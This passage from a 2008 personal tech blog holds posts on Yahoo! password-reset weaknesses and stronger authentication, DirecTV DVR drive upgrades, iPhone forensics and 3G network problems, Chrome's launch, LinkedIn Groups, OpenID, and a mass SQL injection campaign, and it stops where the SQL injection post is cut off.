This is where the security mechanism breaks down. I'm immediately asked to answer a "secret" security question. This process is called knowledge-based authentication. It's an additional layer of validation in a single-factor authentication scheme - I have to provide "something else I know." Even in my case it's information that could be fairly easily discovered (assuming I answered the question accurately). It should also be noted that in order to change my security question, I need to contact Yahoo! customer support (which I did).


Once I supply the correct answer to a single question, I'm immediately allowed to change my password. At this point it should be noted that if I was prompted to answer multiple questions in this validation workflow, using some randomization of questions and setting a time limit to answer each one, that would at least make it more difficult for someone to gain unauthorized access. Systems are available to do exactly that (I know, I used to manage a team that built one such authentication app).


I'm asked to verify my ZIP code and country (just for profile information), and that's it. Note that other analyses of this process seemed to say that providing the ZIP code and Country was required to reset, but that was not the case in my review. In fact, it appears the bad guy is just being handed that information after changing the password, for free. Take that info, stick it in your Google and smoke it: More search accuracy for the next phase in your attack. Not good.


I'm then notified that my account is now "up to date." I also got an email notifying me of the changes that were made to an account I had tied to the Yahoo! profile for communication purposes. At least I can rest assured that I'll get an email before the bad guy goes into my profile and removes that address from the account.


I think you're starting to get the picture. The authentication mechanism is only as strong as it's weakest part, and the fact that I have an option to reset without ever having to leave the browser window is a problem. Even changing the system to require that I receive an email (which is already the standard reset mechanism) would be better. As it stands today, that's an option, but not a requirement.

Many will argue that hey, it's just an email account, and that Yahoo! can't be expected to implement stronger security on their site as a requirement. I say that's flat out wrong (and what the account was or wasn't used for isn't particularly relevant to this analysis). Email is the number one mechanism used to move information - both innocuous and sensitive - among people. The fact that it's not the best mechanism for doing so ignores the fact that it's how people do things. There are a variety of options available to help ensure only authorized users can get access to email accounts. The fact they are not regularly implemented is a sad state of affairs.

There are many options to strengthen the identification and authentication processes. We can't discuss them all here, but a couple on my mind are described below.

Physical tokens - Making the jump from only having to remember a user name (which is usually the email address, so hardly a secret ) and a password to a scheme where one must carry a token and provide information from it in order to log in is quite a leap (carrying yet another piece of technology around doesn't exactly appeal to me), but it works. The costs associated with fulfilling, supporting and maintaining such a system are very real, and for Yahoo! may not be realistic. But there are systems available to those who know and choose to use them that can substially improve your authentication profile. Check out Omar Shahine's recent blog entry describing how he's securing his accounts in a few ways, including with an OpenID-integrated single-sign-on token system from Verisign.

But, even if you use an OpenID to sign in, what if your OpenID is a Yahoo! ID or other identity that you can reset with a single piece of discoverable knowledge? It still needs to be protected from unauthorized changes and access.

How to do that? There are several ways. I have a couple of favorites, but please feel free to share yours.

Require security changes to take place out of band - One option, probably quicker and less expensive to implement than physical tokens, is using something like an automated telephone call or text message to require the owner of the account to verify a change should be allowed. By registering one or more phone numbers when the account is created and requiring a unique secret be provided via that channel to authorize a change, one can sufficiently secure the account. Vidoop uses a system like this for resetting information on their OpenID accounts. It's simple and it works. It requires me to have the correct device (my phone), uses a different communication channel (the phone network, hence "out-of-band") to contact me and then verifies I am a legitimate user. It requires me to interact as part of any change.

But the technology options get even better: JanRain's myOpenID, for example, now has a feature called "CallVerfID" that equips your myOpenID for two-factor authentication via the phone. It's quick and easy to set up and instantly protects every login with a multifactor authentication mechanism. I found I was not able to use it with a couple phone services due to the way they answer the call (I should provide feedback about that, added to my to-do list), but when set up for my cell or home phone it works as advertised.

Expect more of this class of technology in the future. Think, for example, about voice biometrics: Is that really you that's answering your phone? That kind of technology would be very cool if it was reliable. It's a complicated but useful technology that's being refined even as we discuss this.

I would guess that "review of all Internet email accounts" has been added to every campaign manager's list of things to do deal with early in the vetting process (not to mention the Secret Service's list). Any of the technologies above would likely have prevented the malicious bad guy from accessing the Yahoo! email account.

In the security world, change only happens when enough people make enough noise, a regulator gives an order, or enough companies feel enough financial pain. This looks like one of those cases where noise is the better option. It's certainly better than regulatory mandates (which tend to create collateral damage), and waiting on big companies to suffer is not exactly a reliable plan.

So... Feeling okay? How safe is your account, really?



Add/Read: Comments [4]
IT Security | Tech
Thursday, September 18, 2008 7:26:05 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, September 17, 2008

The third wave of official beta apps under the Windows Live name have been made available a bit early for download. Full information and download links are located over at liveside.net. The updated Windows Live apps are:

  • Messenger v9
  • Windows Live Movie Maker
  • Mail with Calendar synchronization
  • Writer
  • Photo Gallery
  • Family Safety
  • Outlook Connector

There are also non-English versions listed on the site and a few individual reviews posted at liveside.net:

The most noticeable change is a whole new UI scheme for the apps, but there are a number of other changes in there, as well. Messenger's look and feel is very different. I see Live Writer now has direct YouTube integration - nice move and probably one that took some serious discussion to make happen (understandably). Time to start digging in and seeing what else the new apps offer under the hood.



Add/Read: Comments [0]
Tech
Wednesday, September 17, 2008 9:45:40 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 16, 2008

The latest version of SQL Server implements several object models through Powershell to let folks manage SQL Server without using the SQL management tools.

We've just published a new episode of the RunAs Radio podcast with Michiel Wories, in which we dive into SQL Server 2008's Powershell features. Michiel is certainly the one to know and share about these features: He joined Microsoft 7 1/2 years ago in the role of Senior Program Manager for Microsoft SQL Server and is currently working as a Principal Architect on defining the next generation SQL Server management platform infrastructure. Michiel's blog is at http://blogs.msdn.com/mwories/

RunAs Radio is a weekly Internet-audio talk show for IT Professionals presented in a high-quality podcast format. Since April 2007 RunAs Radio has brought experts in the field of IT to its 10,000+ listeners, to inform and entertain. Professionally produced interviews are about 30 minutes in length and pack a substantial amount of information for maximum benefit. For more information about RunAs Radio, visit http://www.runasradio.com. RunAs Radio is available on iTunes and the Zune Marketplace, as well as directly from the RunAs Radio web site.



Add/Read: Comments [2]
RunAs Radio | Tech
Tuesday, September 16, 2008 9:01:17 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, September 12, 2008

I enjoy the fact that my DirecTV DVR (model HR21-200) records HD content for me. The quality is generally pretty darned good (it does 1080p video now after a recent a software upgrade), and it beats the heck out of anything else available to me in the boonies. The unit comes equipped with a 320GB (give or take) internal drive, which allows something like 30 hours max of HD recording. I found that when recording full seasons of a few shows like The Office or Lost in HD (and most of us will tend to add a few HD movies in the mix), the drive tends to fill up before I want it to.

So, I ordered a Cavalry 1TB external eSATA/USB 2 drive from Newegg.com, which arrived today. I've hooked it up and it's working. My new capacity numbers? Well, it depends on the specific content, but up to about 145 hours of HD content or as much as 1000 hours of SD programming (wow). Variables that affect actual video-time capacity includes resolution, compression (MPEG2 uses more space than the newer MPEG4) and how much motion there is in the video (since more motion means less compression benefit).

I wanted to document the simple setup steps here, so people can get theirs to work if they should want to do the same thing. You can find similar info on the 'net, but people seem to have a hard time with it. My drive came pre-formatted NTFS, which is fine. The DVR will wipe any file system on whatever drive you hook up. Below are the steps that one needs to follow in order to get the external drive up and running with the DVR. The order of the steps is crucial. Don't try to power up your hard drive after you start the DVR, for example.

First of all, if your external SATA drive is a Seagate FreeAgent, you will probably not have any luck, unless you have a HR20 DVR unit. I've heard many stories from people who bought a FreeAgent drive and tried to attach it, with no luck. So, while the FreeAgent drives are great for gneral storage, they are probably not what you want to buy to attach to your DirecTV receiver. My HR21-200 unit simply refused to work with my 750GB Seagate drive, so it's doing video editing duty now. Your mileage may vary, but my experience is that they just don't work.

To start using your new hard drive:

  1. Power down the DVR.
  2. Unplug the DVR from the wall power. This is important.
  3. Attach the external drive's eSATA cable to the back of the DVR unit.
  4. Power up the external hard drive first, and allow it to "spin up" (give it about a minute to be safe).
  5. After the hard drive has "spun-up," plug the DVR back into the wall power plug.
  6. Be patient (very patient) and wait for the DVR to restart. It's not dead. Be patient.
  7. After it does it's thing, you'll be able to watch TV again. Check your recorded items list and make sure it's blank.
  8. Run a recording test and make sure you can play back.

Note that the DVR's internal drive is completely bypassed when you add a new external hard drive - the system no longer sees it. So your recordings and what-have-you from the internal drive will not be available to view. However, in my experience if you restart the DVR without the external drive attached the internal drive "comes back to life" and you'll see your old recordings there.

Any scheduled recordings on your "To Do List" that you set up before adding the external hard drive will no longer be programmed. This is important - You will need to set up your recording schedules again. Head over to DirecTV's online scheduler or their mobile scheduling site at http://m.directv.com and sign in to start setting things up. I sometimes find the mobile site to be a bit easier to use, even on a desktop or laptop PC - especially since it lets me search by name.

Also, note that whatever you set up online may not be configured using the default recording setting you've established on your receiver, so be sure to go to the receiver's Manage Recordings list and review the new items that appear in your To Do list to make sure they're set to what you want. In my case, I had to make changes. Seems like recordings scheduled online should use the defaults you've established on your machine, but they didn't for me.

Once You Know, You NeweggMost importantly, you can look for good deals on decent external eSATA hard drives to do an inexpensive upgrade to your DVR. If you like spending lots of money, you could go to one of the sites that offers upgrade hardware services, but one such site sells essentially the same drive I bought and installed myself. Their price? $299.00, and that's just for the hardware. If you want your internal drive copied to the new drive, they can do that for an additional $59 - Not worth it to me.

How much did I pay for mine? $167.00 from Newegg. You can do the math. Shop around, prices are even lower now, and you can find an even better deal out there.



Add/Read: Comments [72]
Geek Out | Tech
Friday, September 12, 2008 4:32:53 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, September 11, 2008

Over at Wired's Gadget Labs blog, Brian Chen writes about information discovered during a webcast presentation on Thursday covering the recently discussed iPhone security weaknesses having to do with bypassing the password-protected lock screen.

Jonathan Zdziarski, a data forensics expert and author of the forthcoming book "iPhone Forensics," did the presentation for law enforcement personnel and anyone else who might have a need to access an iPhone to discover information. During the presentation, in which he outlines a method for breaking into the phone with modified firmware and some hairy manipulation, he also showed how the iPhone takes a screenshot of every application the iPhone's user closes by pressing the "home" button. The saved image is used to "draw" the collapsing screen animation you see when your application closes and you're returned to the home screen. The image file is then deleted from the iPhone's storage.

But, nothing is ever really completely "deleted." And in this case, apparently when the temporary image file is killed from storage, the data "on-disk" is not overwritten or otherwise cleaned, so anyone with some basic forensics knowledge can search the iPhone storage space for the old files and recover them easily. You can do the same thing on pretty much any computer.

Depending on your point of view, this is either a potential privacy issue or a great forensics feature. Having worked as both a police officer and as a business security professional responsible for privacy and data integrity issues, I can understand both arguments. Certainly as a cop, being able to dig into someone's iPhone (with a proper warrant of course) to find evidence of crimes where the phone was used in some manner is of real value, and screen shots are potentially pretty useful evidence. But as a person who also values privacy as a matter of basic principle, it's a little disconcerting, especially since I didn't realize until today screen shots are being made.

The webcast recording is not yet available as of the time of this writing, but it should be posted to http://www.youtube.com/OreillyMedia in the next few days. If you're interested in learning something about electronic data forensics, it will be worth the time to check it out. Here's the O'Reilly abstract from the session:

In this free, live webcast, iPhone hacker and data forensics expert Jonathan Zdziarski guides you through the steps used by law enforcement agencies to bypass the iPhone 3G's passcode lock by creating a custom firmware bundle. Author of the upcoming book, iPhone Forensics, Jonathan has devoted much of his talent supporting law enforcement personnel with his development of a forensics toolkit that allows them to recover, process, and remove sensitive data stored on the iPhone, iPhone 3G, and iPod Touch. This live presentation is aimed towards law enforcement and anyone else who has a need to access the not-so-readily available data on an iPhone.



Add/Read: Comments [4]
IT Security | Tech
Thursday, September 11, 2008 8:58:55 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, September 03, 2008
As is the case with more and more technology in the modern age, it's when you start to combine the power of two or more technologies that you realize the full potential of each. Such is the case with Microsoft's Unified Communications products. Sure, Exchange and Office Communication Server are both great on their own, but when you use them together (and potentially integrate with your VoIP phone system), you realize the greater value of your investments.

Jeff Goodwin works at The VIA Group, where he specializes in Microsoft Exchange and Microsoft Unified Communications in his position as Senior Technologist and Microsoft Practice Lead. He's executed a large number of UC projects for businesses, so we were fortunate to have the opportunity to speak with Jeff recently on RunAs Radio. He does a fine job of explaining what unified communications is all about.
Jeff Goodwin Rings Us Into Unified Communications
RunAs Radio Show #73 - 9/3/2008 (35 minutes)


Richard and I talked to Jeff Goodwin about Microsoft Unified Communications in this week's RunAs Radio show. Jeff lays out the relationship between Exchange, Office Communicator and Unified Messaging Server to combine email, telephone and instant messaging. Check out Jeff's TechNet articles at http://www.shrinkster.com/11mj and http://www.shrinkster.com/11mk.

RunAs Radio is a weekly Internet-audio talk show for IT Professionals presented in a high-quality podcast format. Since April 2007 RunAs Radio has brought experts in the field of IT to its 10,000+ listeners, to inform and entertain. Professionally produced interviews are about 30 minutes in length and pack a substantial amount of information for maximum benefit. For more information about RunAs Radio, visit http://www.runasradio.com. RunAs Radio is available on iTunes and the Zune Marketplace, as well as directly from the RunAs Radio web site.



Add/Read: Comments [0]
RunAs Radio | Tech
Wednesday, September 03, 2008 4:32:36 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 02, 2008
Chrome has been available for about 12 hours. What's your point of view and experience with Google's new browser?

A bit of a simplistic poll, I know - But covers the bases as far as hot-to-cold opinions. Choose the one that's closest to yours, and feel free to comment as always.


Add/Read: Comments [10]
Tech
Tuesday, September 02, 2008 8:57:05 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, September 01, 2008

UPDATED: Chrome is now out and available for Windows, other platforms coming in the future - Check out http://www.google.com/chrome/

As mentioned earlier here and everywhere else on the 'net, Google's Chrome web browser is coming. Today Google put an official release notice on its Official Google Blog, and they tell us it will be made available for you and me to download and try on Tuesday.

Over at Google Blogoscoped there's a whole bunch of screen shots you can check out if you can't wait until tomorrow. Screen shots are a bit hard to come by today, but tomorrow it'll be in-person for everyone, and you can probably imagine how many people will be posting pictures and writing about the new browser.




Add/Read: Comments [1]
Tech
Monday, September 01, 2008 5:29:02 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Google seeded a paper comic book to some people recently, to present and describe their future web browser (or you might just think of it as the web browser of the future), which is called Google Browser or Chrome.


So, what's the story? Making the browser more stable, more usable, more secure. At first glance, it looks like a strong starting point for the future of Internet browsers. Written from the ground-up from scratch and with the experience of several years of past browser platforms to learn from, Google has addressed many of the main concerns in today's browsers.

Now the only question is: When will we get it? I will be watching here to see if something shows up. Hopefully it's soon!

UPDATE: The release date is tomorrow (Tuesday, September 2, 2008) - More info and link to screenshots here.

A variety of technologies are incorporated into the Chrome design that improve on common browser weaknesses. The key improvements fall into the areas of stability (memory allocation and management, process management), some incredibly cool javascript environment enhancements (in the form of a new, open-source javascript engine), a bunch of user experience improvements and significant security changes.

And, it's all open source. That's right - Anyone (including other browser makers) can leverage the work done in the Chrome project and can contribute or modify to meet their own needs. Good move, Google.


Pretty exciting stuff. It will be fun to see what comes next, and when.



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Monday, September 01, 2008 10:57:24 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, August 29, 2008

As mentioned the other day, LinkedIn today released their new Groups features. Groups are one of the most popular features on LinkedIn, despite the limited feature-functionality provided for groups on the web site in the past.

The new features include a searchable contacts roster (search by name, company, or other keywords such as specific areas of expertise), which is accessible to all members; and discussions with email-digest notifications (which are configurable by individual group members). A few screen clips of the new functionality are shown below, and LinkedIn has published an informational page describing the new functionality.

Notification when you sign in that your managed group now has new features:


The new tabs available reflect the new functionality:


Choose your notification email delivery preferences for discussions:


Write a new discussion topic for the group:


Recent discussions list:




Add/Read: Comments [0]
Tech
Friday, August 29, 2008 1:08:33 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Vidoop Labs has a dream:

The dream is to see Identity baked into all browsers. Just imagine opening your web browser and then selecting your Identity Provider (IDP) the way you select your default search provider. The benefits are numerous; never type in a username, never look for a login button/page (you are authenticated when you land on a domain), no phishing/MITM (the browser can do domain and SSL cert validation). You fire up your browser and authenticate (or login) similar to the way you log in to your computer every time you turn it on. The difference is you get to choose your provider and can take control of the data you safeguard, store and share on the Internet.

I could get into that.

Vidoop is a Portland, Oregon company that has built some interesting technology around OpenID. I really like the idea of OpenID, and I have a couple OpenIDs of my own that I use on various sites. But OpenID is not exactly perfect. It's still relatively young, and from the usability standpoint it needs improvement. The identity and authentication requirements of the modern Internet demand some additional features and capabilities that OpenID doesn't deliver (and you can argue that it shouldn't). By combining openID with other technologies (such as Information Cards and other strong-auth offerings) and improving usability for end-users, it could become a widely-adopted, used and trusted standard, or part of a broader one covering strong authentication and identity protection/assertion in a commonly-accepted and deployed package.

Vidoop's Luke Sontag today posted an announcement that the company's newly-formed Vidoop Labs has fired up a community project called IDIB (pronounced "Eye-Dib"), which aims to improve on the OpenID usability model and make it stronger at the same time. They've released a developer preview of IDIB in hopes of involving people and getting your input and feedback.

From the Vidoop announcement:

Over the past few years we’ve seen the adoption of OpenID continue to increase but the work that we’ve done as a community to develop this technology has only just begun. Looking at the landscape of OpenID adoption, its clear that there are several key factors inhibiting adoption, but two that we want to focus on today, namely usability and security in the browser.

It was almost two years ago when the Firefox 3.0 roadmap was
announced and OpenID was mentioned as a new component to the platform. The Mozilla Firefox team looked to members of the OpenID community to step up and provide guidance on what exactly we imagined identity in the browser looking like, but we failed to mobilize and answer their call.

In light of that missed opportunity,
Vidoop Labs has been working hard over the last several weeks to produce a prototype that we intend to use to initiate a wider discussion about OpenID in the browser and what it might look like.

And the current developer preview (which is open-source) is just a beginning. Imagine leveraging Information Cards (such as one would use with Microsoft's CardSpace, or the similar open-source offerings for Mac and Linux) in the cloud, and being able to use OpenID - one logon for all your web sites - confidently, securely and with proper security protection.

The Internet needs a good, strong, reliable, usable and secure standard technology to solve the issues related to user names, passwords, single sign on and identity protection. IDIB looks like a serious and positive attempt to start the journey directly down that path.



Add/Read: Comments [1]
IT Security | Tech
Thursday, August 28, 2008 11:18:19 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, August 28, 2008

I thought I'd present some casual observations I made throughout the day Wednesday on a trip from Portland to Seattle, as well as some newly reported information about the AT&T 3G network that's hit the 'net over the past 24 hours or so.

The back-story here is that I - like many others - have found the reliability and consistency of the iPhone 3G to be less than satisfactory while on the 3G AT&T network.

First of all, it became clear to me over the course of several hours yesterday that the iPhone is not to blame with regards to connectivity on the 3G network. While driving from Portland, Oregon to Seattle, Washington and back yesterday, I had the opportunity to run a whole slew of speed/connectivity test sessions using the iPhone app called "iNetwork Test" (click here to get the free app in the iTunes App Store).

AT&T actually has fairly impressive 3G network coverage from south of Olympia, Washington practically all the way to Seattle, with one or two small gaps in-between where the phone switched to EDGE. Much of the area along that I-5 corridor is rural or sparsely-populated. From a wireless connectivity standpoint, it's a pretty decent area to live in if you're going to be far away from the city.

My experience in using the 3G network along my drive up and down the Interstate can be summed up thusly:

In areas with higher population density, and thus more iPhone (and other device) users, ability to a) connect to the voice network and make calls, b) stay connected to the voice network, c) make data connections and d) maintain data connections was substantially worse. The difference between dense and sparsely populated areas was like night and day.

Where population density was lower, even in cases when fewer bars are displayed on the signal strength icon, voice and data connections were reliable and solid without exception. In contrast, in high-population areas even full-signal connectivity was spotty and unreliable.

I'm running the latest iPhone software, v2.0.2, which both Apple and AT&T have encouraged people to upgrade to. AT&T even sent a text message to all users asking them to upgrade - a first-time action on the part of the carrier.

Some new information, part of which you'll find quoted below, helps explain why I experienced substantially poorer performance in the cities and heavily-populated areas but not in the rural sections of my drive. According to reports, it appears AT&T's 3G radio systems are power-constrained, and are not able to maintain all the connections. The incredible number of iPhone 3G devices on the network - especially in metropolitan and urban areas - is most certainly placing a heavy load on the radios. In addition, iPhone 3G devices that have not been updated to the v2.0.2 software are placing an even heavier burden on the radios from a power-consumption standpoint.

So, there's a power-management problem, as well as a capacity problem. When the network "noise" in the radio spectrum used gets to be higher, the towers have to increase power to try to overcome the noise. You can see how that doesn't work. Eventually the noise keeps climbing and the power consumption at the tower (and presumably on the iPhone as well) goes through the roof.

More towers would increase capacity, reduce power requirements and resulting noise, and generally improve coverage. But that's not something that can be changed overnight.

All of this helps explain why my ability to make calls, connect to the 3G data network and download at high speeds was much better where the network is only lightly used.

The Daily Tech site has a detailed report (and some intelligent reader comments) that describes the cell-site power issues, the problems related to the older iPhone 3G software, and other items. Go to the Daily Tech site to get all the details. Here is a portion of the information, including some text quoted from Roughly Drafted Magazine, whose author was able to get some new details from a source inside AT&T's wireless business describing the power issues and what the iPhone's v2.0.2 software update changes:

Basically the update "fixed power control on the mobile" according to the source. To understand what they're going to say next, you must first know a bit about AT&T's jargon for UMTS -- the technology it uses to deliver its 3G network. In the technology, phones are referred to as user equipment, "UE" for short. The base transceiver station towers are known as "Node B".

With this jargon in mind, the AT&T source explains:
"In UMTS power control is key to the mobile and network success. If the UE requires too much downlink power then the base station or Node B can run out of transmitter power and this is what was happening. As you get more UEs on the cell, the noise floor rises and the cell has to compensate by ramping up its power to the UEs. If the UE power control algorithm is faulty then they will demand more power from the cell than is necessary and with multiple users this can cause the cell transmitter to run out of power. The net result is that some UEs will drop their call. I have seen the dropped call graphs that correspond to the iPhone launch and when the 2.0.2 firmware was released. The increase in dropped calls, (were the result of) dropped calls due to a lack of downlink power."
In essence, the iPhone is asking for a stronger signal than it needs. In areas with lots of users, some or all of whose phones are doing this, calls start to get dropped and signal quality drops. This all follows with the conclusions the media had reached -- the problems were somehow correlated to user distribution and seemed puzzlingly to be both with AT&T's network, and with the hardware.

The source continues:
"The power control issue will also have an effect on the data throughput, because the higher the data rate the more power the Node B transmitter requires to transmit. If the UEs have poor power control and are taking more power than is necessary then it will sap the network’s ability to deliver high speed data. This is one of the reasons why AT&T has been sending text messages to users to persuade them to upgrade to the 2.0.2 software. In a mixed environment where users are running 2.0, 2.0.1, and 2.0.2, the power control problems of 2.0 and 2.0.1 will affect the 2.0.2 users. It is not the network that is fault but the interaction of the bad power control algorithm in 2.0 and 2.0.1 software and the network that is at fault. The sooner everybody is running 2.0.2 software the better things will be. Having seen the graphs the 2.0.2 software has already started to make difference."
Since transmitting lots of data takes lots of transmission power, and transmission power was unnecessarily being raised above that necessary for the use levels on phones, the network in areas of heavy use was unable to handle high speed data.


Add/Read: Comments [0]
Apple | Mobile | Tech
Thursday, August 28, 2008 6:21:35 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

My first-generation Nikon D70, which I bought the day it was released to the market a few years back, died on me a few months ago. Without a card in it, it won't start, and when you insert a CF card in the slot, the green data-access indicator flashes on and off. If I hold down the Menu button, the menu flashes on and off along with the green LED.

As it turns out, this is a known problem with the original Nikon D70 cameras, and Nikon USA has a service bulletin out on the camera body. They'll repair it free of charge.

So, if you have the same problem, visit this service bulletin page, click on the D70, and you can access a PDF file that you'll need to print, fill out and send to Nikon along with your camera body. Be sure to take your camera strap off and remove the battery, and don't send any lenses or other accessories.

Mine's on it's way to Nikon now - they say the turnaround is five days (plus shipping time).



Add/Read: Comments [2]
Photography | Tech
Thursday, August 28, 2008 3:51:59 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, August 27, 2008
Well, this is a little embarrassing. Intergalactic malware has made it's way into the news. A computer virus on the International Space Station. No AV software on the laptops they use, nor (apparently) is there a process of security checks on personal computer equipment like USB thumb drives carried by astronauts being rocketed to the International Space Station.

Granted, the virus in question in this case is pretty innocuous, and apparently other viruses that have made it into space aboard computer gear in the past (it's really quite difficult to mention that in passing) have also been more of an inconvenience than a real security threat.

But imagine a virus that might make its way on-board and do more damage. Not good. It looks like it's time for some effective process and possibly some basic security technology - You know, just in case.

The author of that virus has something new to brag about, though. That's for sure.



Add/Read: Comments [0]
IT Security | Tech
Wednesday, August 27, 2008 8:01:30 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, August 26, 2008
LinkedIn has started sending owners of certain LinkedIn Groups email letting them know that on Friday they'll be enabling a new discussions capability for group managers and members. A friend received the information for his LinkedIn group today, but I have not yet received it for the one I co-manage, PDX Tech. So, it's not clear whether this is rolling out to all groups or just some.

The addition of this new Groups functionality is a great move. To date, people who manage LinkedIn groups have had very limited options in terms of how to enable networking and communication among their groups. One can manually export a delimited-text file in a few formats to let you send emails, but outside of that the group interaction model has been short-featured, and required use of outside services - a sloppy model at best.

In addition to the group discussions, they plan to release an enhanced, searchable membership roster capability. Earlier this summer they introduced a searchable Groups directory. Positive changes appear to be happening.

Below are the details from the LinkedIn email.

Dear #####,

First, thank you for managing your group on LinkedIn. We sincerely appreciate the time and effort you devote to your members, and we know they value it. Together you have made Groups one of the top features on LinkedIn.

This Friday, we will be adding several much-requested features to your group:
  • Discussion forums: Simple discussion spaces for you and your members. (You can turn discussions off in your management control panel if you like.)
  • Enhanced roster: Searchable list of group members.
  • Digest emails: Daily or weekly digests of new discussion topics which your members may choose to receive. (We will be turning digests on for all current group members soon, and prompting them to set to their own preference.)
  • Group home page: A private space for your members on LinkedIn.
We're confident that these new features will spur communication, promote collaboration, and make your group more valuable to you and your members. We hope you can come by LinkedIn on Friday morning to check out the new functionality and get a group discussion going by posting a welcome message.

Sincerely,
The LinkedIn Groups Team



Add/Read: Comments [1]
Tech
Tuesday, August 26, 2008 7:49:08 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, August 25, 2008
A couple of small, independent evaluations of the iPhone 3G's performance, which has been much maligned by many of it's customers (including me from time to time), have been published in the past day or so. The results are interesting to consider, especially side-by-side.

In the first test, Swedish tech site GP took their iPhone 3G to a super-fancy antenna test chamber at a company called Bluetest, where they ran the iPhone through the highly technical paces along with a few other 3G phones for comparison purposes. Results are available on the GP site.

In the second test, Wired asked readers to participate in testing from the field, where they gathered and submitted speed and other connectivity data with their own phones. Wired then analyzed, mapped and posted the results as well as the test data in complete raw format at their site.

In the end, what did the tests yield? Well, you should read them for yourself and draw your own conclusions, of course. But in a nutshell, here's my take on what they found:
  • GP's antenna test found that the iPhone 3G's antenna performs as well as any of the other 3G phones tested.
  • The Wired real-world network test found that the networks are often woefully underperforming, and that while speeds are typically faster than EDGE, the ability to connect to a 3G tower might be problematic at best.
So, does this mean Apple-provided software fixes may not be able to solve the iPhone's 3G woes? It seems that in the case of network performance where the number of "bars" showing on 3G is at the bottom of the scale yet a EDGE network has a strong signal, trading off could be done better by the phone. But what really needs to happen to solve the big-picture problem is better 3G coverage. My experience in several cities has been that 3G coverage is poor in many cases, and inconsistent at best. In fact, if the AT&T EDGE/2.5G network was not available as a fall-back (or maybe "call-back" is a better term, given the dropped call rate), AT&T would never be able to sell their service. The effective 3G network coverage just isn't good enough to stand on its own. And poor coverage combined with all those handoffs and network drops just mean more and more battery power being applied by the device to keep re-establishing it's 3G connectivity.

However, any software fixes for lockups, freezing and app crashes will require Apple taking action. One thing I've wondered lately: Are device/software hangs and crashes causing or somehow related to network connectivity issues? Could one be causing the other, at least part of the time? I have noticed locking/hanging in several apps while the iPhone tries to connect to the AT&T network (as evidenced by the simultaneous flurry of AT&T radio-speaker-dance noise that we've all become familiar with over the past several years).



Add/Read: Comments [0]
Apple | Mobile | Tech
Monday, August 25, 2008 7:10:55 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, August 20, 2008

I like to listen to my Pandora "stations" in the background while working on my laptop. I get frustrated when I accidentally close the web browser (often its in a hidden tab) or, even worse, click on a link soewhere and Safari, in all it's awesomeness and wisdomness, re-uses the window and kills the audio feed.

In hopes of finding a better way, I started searching for a Pandora widget for the Mac Dashboard (the layover-page that you can put any of a number of downloadable mini-apps on). Unfortunately, I didn't find anything. (Update - turns out there is a widget out there, but it's a memory hog and apparently has a few issues). So, rather than looking for someone else to do the work for me, I started to actually think about a solution I could build on my own.

After about 10 minutes, I remembered the nifty capability in Safari to define a "snipped" portion of a web page and make it a Widget on the OSX Dashboard. You use the little scissors icon in Safari to accomplish this. I started thinking about the Dashboard and how it works, and wondered if there was any way to have Pandora play in the background using a system (the Dashboard, that is) that appears to reload each app every time I launch it.

What the heck, worth a shot, right? Well, I found I could create a web-clip of Pandora's music player that would play my music. No big surprise there. Click on the image to see the widget full-size.


But when I exited the dashboard to go do some actual work, the music would quit.

Bummer.

I got curious though. Maybe someone had thought about the fact that web pages constantly change and play music and whatever else. I did the obvious: I clicked on the little (i) button in the lower right corner of the widget and it took me to the page where I can choose to make the widget look like it's torn from a piece of paper, or whatever. And, lo and behold, right there in the lower left, is a box that makes it appear you can uncheck it and make the audio play in the background, even when dashboard is not active. I've highlighted that box below.


Would it work? I unchecked the box, exited Dashboard, and the music kept on playing in the background. Problem solved! It turns out the default setting is to play web page audio only when Dashboard is active, so you have to toggle the setting to get what you want.

Any other ways to do this? My method works great, but I wonder if someone else came up with a different solution?



Add/Read: Comments [4]
Apple | Tech
Wednesday, August 20, 2008 4:00:54 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, August 18, 2008

Boy Genius says iPhone software v2.0.2 is on it's way out the door this afternoon. In fact, I just checked in iTunes, and there it is.


All 248.7MB of it. The description in the iTunes UI says it contains bug fixes, and that's it. Here's hoping the performance and stability issues - especially related to 3G network performance and switching - are what they fixed in this release. I almost returned my phone the other day out of sheer frustration, and that's saying a lot, really.

Update: After a couple hours of on/off use, apps are notably more stable/snappier (at first I wondered if it was just my imagination, or a fresh restart effect - time will tell), and network performance is better. Where a 3G network with poor or broken signal would be selected before, now a strong EDGE network is selected by the phone. Apps don't seem to hang in places where they reliably (or maybe the better term would be "predictably") hung before the update. For example, the volume controls in almost every app used to not respond for periods of time. Now they work every time. Much less frustrating. There are no real changes in terms of ourward appearance and functionality.



Add/Read: Comments [6]
Apple | Mobile | Tech
Monday, August 18, 2008 1:47:16 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, August 12, 2008

A bunch of IT and web-app teams have lost a lot of sleep lately...

Over the past several days, a significant number (in the thousands) of web applications, some of them well-known and well-used, have fallen victim to a distributed SQL injection attack that takes advantage of weak or non-existent input validation to inject malicious HTML code that then performs a drive-by malware attack on unsuspecting visitors. Since visitors to your site trust it, if your site has been hacked they are more likely to allow the malware to install on their computer (especially if, for example, the malware is delivered in the form of a browser helper object or something along those lines).

The malware in question appears to steal WoW account information and insert a back-door (trojan) program on PCs it infects (among other things).

Web sites that do not properly validate all input - and by proper I mean trust nothing by default and only allow input that specifically matches what is appropriate - and which run on a Microsoft SQL server back-end (and possibly other database servers that use the same basic table structure) are at risk. I've observed web sites running on both Apache and IIS that have been hacked, the only common thread is SQL server (despite reports to the contrary).

About data validation...

